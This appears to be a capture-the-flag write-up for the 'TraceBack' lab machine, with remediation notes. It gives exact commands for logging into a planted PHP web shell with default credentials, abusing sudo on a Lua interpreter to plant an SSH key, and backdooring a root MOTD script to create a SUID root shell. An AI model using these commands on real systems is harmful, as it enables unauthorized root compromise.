TraceBack
Summary
I located a PHP web shell that a prior intruder had planted on the Apache server and logged in using its factory-default credentials, gaining remote code execution as the webadmin account. A misconfigured passwordless sudo rule then let webadmin run the Lua interpreter as sysadmin, which I abused to inject an SSH key and pivot to that account.
Finally, sysadmin held write permission over a root-owned Message-of-the-Day script that Ubuntu executes automatically on every SSH login — appending a malicious payload there and triggering it via a new SSH session handed my a root shell and full control of the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -sV -p- --min-rate 5000 $TARGETcurl -si http://$TARGET/Exact commands 2
curl -s http://$TARGET/smevk.php | grep -i '<title>'gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x phpFixRemove the unauthorized web shell and audit the web root for unknown filesCritical
Exact commands 1
tmp=$(mktemp); curl -sS -c "$tmp" -b "$tmp" -d 'uname=admin&pass=admin&login=Login' http://$TARGET/smevk.php >/dev/null; curl -sS -b "$tmp" --data-urlencode 'a=Console' --data-urlencode 'c=/var/www/html/' --data-urlencode 'p1=id; hostname; pwd' --data-urlencode 'p2=' --data-urlencode 'p3=' --data-urlencode 'charset=UTF-8' http://$TARGET/smevk.phpFixEliminate default credentials on all web-facing management interfacesCritical
Exact commands 3
# Execute through the smevk.php console:
sudo -lecho 'os.execute("mkdir -p /home/sysadmin/.ssh && echo YOUR_ED25519_PUBLIC_KEY >> /home/sysadmin/.ssh/authorized_keys")' > /tmp/plant.luasudo -u sysadmin /home/sysadmin/luvit /tmp/plant.luaFixRemove the passwordless sudo rule that lets webadmin run a scripting interpreter as sysadminCritical
Exact commands 2
ssh-keygen -t ed25519 -f /tmp/traceback_ed25519 -N ''ssh -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'Exact commands 3
ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET 'ls -la /etc/update-motd.d/'ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET "printf '\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' >> /etc/update-motd.d/00-header"ssh -tt -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'exit'FixRestrict write access to MOTD update scripts executed as rootCritical
Exact commands 1
ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.